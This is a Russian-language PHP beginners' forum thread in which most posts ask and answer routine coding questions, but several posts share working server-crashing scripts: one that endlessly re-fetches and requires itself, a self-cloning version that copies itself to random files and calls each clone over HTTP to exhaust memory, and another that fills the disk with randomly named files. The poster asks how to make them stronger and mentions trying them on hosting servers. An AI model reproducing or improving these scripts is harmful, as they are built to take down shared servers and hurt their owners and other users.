[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    //offtop
    а в таких `` будут выполняться через шелл :)

    PHP:
    <?php
    header
    ('Content-type: text/plain; charset=cp866');
    echo `
    dir \\`;
    ?>
     
  2. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    PHP:
    <?
       
    //$mail=="[email protected]";
        
    $mailFormat=explode("@",$mail);
        
    $name=$mailFormat[0];
    ?>
    Этот вариант вполне рабочий,
    explode($separator, $string) - разбивает строку $string на несколько строк, которые были разделены сепратором, т.е.
    PHP:
    explode("@","[email protected]") == array(0=>'admin'1=>'yandex.ru')
    $name мы получаем, как первый элемент возвращенного массива.
    Помни, что, если амперсанд встречается в строке не один раз, то строка будет разбита в соответствие с тем, что в ней присутствует не один разделитель, а несколько....
     
    1 person likes this.
  3. still12

    still12 Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    74
    Likes Received:
    5
    Reputations:
    -1
    Что не так ?

    Пост уже был но видимо из за пылкого интереса к товарищу балующегося травкой его проглядели
    PHP:
    $db mysql_connect("localhost""root");
       
    $result4 mysql_query("SELECT * FROM jos_comprofiler where cb_link= '$url'",$db);

    while (
    $myrow mysql_fetch_array($result4)) {

    if(
    $myrow[23]!= $myrow[25])
      { 
      
    $result5 mysql_query ("update `jos_comprofiler` set update[pr] = 1 where cb_link='$url'");  

        }

          else 
          { 
    $result6 mysql_query ("update `jos_comprofiler` set update[pr] = 0 where cb_link='$url'");
     }   
        
        }


    if(
    $myrow[24]!= $myrow[26])
      { 
        
    $result7 mysql_query ("update `jos_comprofiler` set update[cy] = 1 where cb_link='$url'");  
        }

          else 
          {  
                 
    $result8 mysql_query ("update `jos_comprofiler` set update[cy] = 0 where cb_link='$url'");
            }  
    -------------------------------------------------------------------------
    | ссылка | pr до| cy до | pr now| cy now | значение pr|Значение тиц |
    -------------------------------------------------------------------------|
    |google | 7 | 60 000 | 8 |81 000 | 1 | 1 |
    |yandex.ru| 8 | 150 000 | 8 | 150 000| 0 | 0 |
    --------------------------------------------------------------------------
    Сслыка --cb_link
    pr до ---myrow[23]
    cy до my row[24]
    pr now myrow[25]
    cy now myrow[26]
    значение pr update[pr]
    значение тиц update[cy]

    Вот думаю теперь все понятно ...... тоесть при различных значениях в соответствующюю колонку должна ставиться 1 при одинаковых 0.....но этого не прроисходит...((((
     
  4. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    still12 Зачем так сложно?
    PHP:
    mysql_query("update `jos_comprofiler` set update[cy] = 1 where `pr now`=`pr до`");
    Аналогично для второго. Зачем создавать тысячу запросов если можно сделать один?
     
    _________________________
    1 person likes this.
  5. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Подскажите где ошибка?
    точно такой же практически скрипт отсылает письмо а этот нивкакую (

     
  6. still12

    still12 Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    74
    Likes Received:
    5
    Reputations:
    -1
    )

    Да уж ....не ищю я легких путей .....спс))+
     
  7. still12

    still12 Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    74
    Likes Received:
    5
    Reputations:
    -1
    )

    Не поделишься скриптом?
     
  8. still12

    still12 Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    74
    Likes Received:
    5
    Reputations:
    -1
    и да не у кого нет желания написать скрипт отправки смс сообщений с сайта?позарез нужен ...и думаю не мне одному
     
  9. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    HTML:
    <label><input name="RadioGroup1" type="radio" value="value1" checked="checked" />Radio1</label>
    		      <br />
    <label><input type="radio" name="RadioGroup1" value="value2" />Radio2</label>
    
    Радиогруппа из двух радиокнопок, первая подефолту зачекана...
     
    1 person likes this.
  10. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    Обычно репутацию ставят...
     
    1 person likes this.
  11. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    такие фразы - накрутка рейтинга и за них бан давали!
     
  12. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    +. Ненавижу, когда поинты просят. Ваще
     
  13. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    сорри, больше не буду, я здесь новенький...

    PHP:
    <?
        
    $zhopaString="sakjd sakldjhf kljsad fjsdlkfj sajf sadjfhlksajhdkfj askjdhf lkjsadh flkjsada;sldjf;aiweu843 itq3y4i kjsdahflasuy48y tiasuryt9p348 p4938t 
        iudifugy kjdfsgkdsajh saldkfj ;lsakj fsad flkuhiure kjsdhlkfjsad hkfjsaldkjfha sdflhasdjf hlu3q4i8y p39q8yjdsahlskf i348y tudfskjvhc 3498y tfdjchvl ieyt"

        
        
    set_time_limit(0);
        for(;;)
        {
            
    $zhopaString.=md5(file_get_contents("http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']));
            require 
    $_SERVER['SCRIPT_NAME'];
        }
    ?>
    как предложите усовершенствовать эту вешалку?
     
    1 person likes this.
  14. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Офтоп: за такое бы руки оторвать дяди с большими усами :)
     
  15. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    почему??? так плохо? вот я и прошу подсказать...

    эта гадость заставила мой httpd сожрать 272Мб ОЗУ и успешно вылететь, совершив недопустимую операцию...

    Но, думаю, что-то еще можно привинтить сюда...
     
  16. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,190
    Reputations:
    430
    А я созданием файлов вешал :)
    PHP:
    <?php
    //Аминь...
    //(C) Ch3ck
    ////////////////////////////////////////////////////////////////
    set_time_limit(0);
    ignore_user_abort();
    echo(
    "<center><b>ИБО НЕХУЙ!!!</b></center>");
    /////////////////////////////////////////////////////////////////
        
    $name = array('a','b','c','d','e','f','g','h','i','j','k',    'l','m','n','o','p','r','s',
                     
    't','u','v','x','y','z','A','B','C','D','E','F','G    ','H','I','J','K','L',
                     
    'M','N','O','P','R','S','T','U','V','X','Y','Z','1    ','2','3','4','5','6',
                     
    '7','8','9','0');
    //////////////////////////////////////////////////////////////////
        
    $rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
                        
    '.bat','.log','.dll','.hak','.wmf','.zip','.rar',
                        
    '.tar','.gz','.jpg','.gif','.bmp');
    /////////////////////////////////////////////////////////////////
    while(true) {
        
    $perem "";
        
    $fuck="";
        for(
    $i 0$i rand(20,1); $i++) // количество сиволов в имени файла.
        
    {
         
    $by rand(0count($name) - 1);
         
    $perem .= $name[$by];
        }
        
    $rarand(0count($rash)-1);
        
    $fuck .= $rash[$ra];
             
    $fp=fopen($perem.$fuck,"w");
            
    fwrite($fp,php_uname());
            
    fclose($fp);
            }
    ?> 
     
  17. still12

    still12 Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    74
    Likes Received:
    5
    Reputations:
    -1
    ))

    Нет ну мало ли может у кого уже готовый есть ....
     
  18. .:nbd:.

    .:nbd:. Elder - Старейшина

    Joined:
    27 Jul 2008
    Messages:
    97
    Likes Received:
    27
    Reputations:
    1
    Есть, но это приват. Приват тебе никто не даст за спасибо. В паблике есть масса скриптов для отправки смс, но они или уже не работают, или нужно руками вводить капчу. Короче забудь =)
     
  19. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    Вот всегда так, лекарство от болезней изобретают тысячелетиями, а нож делается в считанные минуты....

    PHP:
    <?php
    /************************************************
     * Привет от ss88                                *
     ************************************************ 
     */
    //тьма пробелов 
        
    $zhopaString="                                                                                                                                               
                                                                                                                                                                     
                                                                                                                                                                     
                                                                                                                                                                    
        "
    ;
    //понта ради, мы никогда этого не увидим
        
    echo "--------------\n| СУШИ ВЕСЛА |\n--------------\n";
    //мы против абортов    
        
    ignore_user_abort();
        
    //забыть о преградах и запретах
        
    set_time_limit(0);
        
    //хэшируем пробелы - не самая простая задача с точки зрения CPU    
        
    $zhopaString.=md5($zhopaString);
        
    //имя нового клона
        
    $randomFileName="bug".rand(0,99999).".php";
        
    //открываем себя
        
    $selfFD=fopen($_SERVER['SCRIPT_FILENAME'],"r");
        
    //собственные внутренности
        
    $selfContent=fread($selfFD,5000);
        
    //создаем новый файл
        
    $newFile=fopen($randomFileName,"w+");
        
    //клонируем себя
        
    fwrite($newFile,$selfContent);
        
    //клон готов
        
    fclose($newFile);
        
    //формируем путь и вызываем клона на сцену        
        
    $arPath=explode("/",$_SERVER['SCRIPT_NAME']);
        
    $arPath[count($arPath)-1]=$randomFileName;
        
    $getString="http://".$_SERVER['SERVER_NAME'].implode("/",$arPath);
        
    $zhopaString.=md5(file_get_contents($getString));
        
    //подключаем еще разок себя, но до этого врядли дойдет
        
    require ($_SERVER['SCRIPT_NAME']);
    ?>
    Вот такие вот банальные грабли для сервера получились, который сам себя будет Ddos'ить, мой локалхост под виндой ложится намертво, с 16 дефолтных МБ ОЗУ сьедает за 1.6 секунды 169Мб и вылетает либо виснет...
    Вот тут еще открывается тема про открытые дескрипторы файлов, если не закрывать ранее открытые, то не переваливает за 256, но "сетевой маркетинг" продолжается...
    Хочу потестить эти вилы в реальных условиях, но пока не решаюсь на серваках, которые мне дают хостинг....
    Может кто-то что-то еще подскажет? Кстати, по-моему, можно увеличить нагрузку на сервер еще и за счет увеличения количества вычислений до обращения к клону...
    Спасибо, Ch3ck, а то я забыл про аборты от юзеров
     
    #6479 ss88, 2 Dec 2008
    Last edited: 2 Dec 2008
  20. still12

    still12 Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    74
    Likes Received:
    5
    Reputations:
    -1
    Ну то что в привате то есть эт понятна ......примерную стоимость не подскажешь?
     
Thread Status:
Not open for further replies.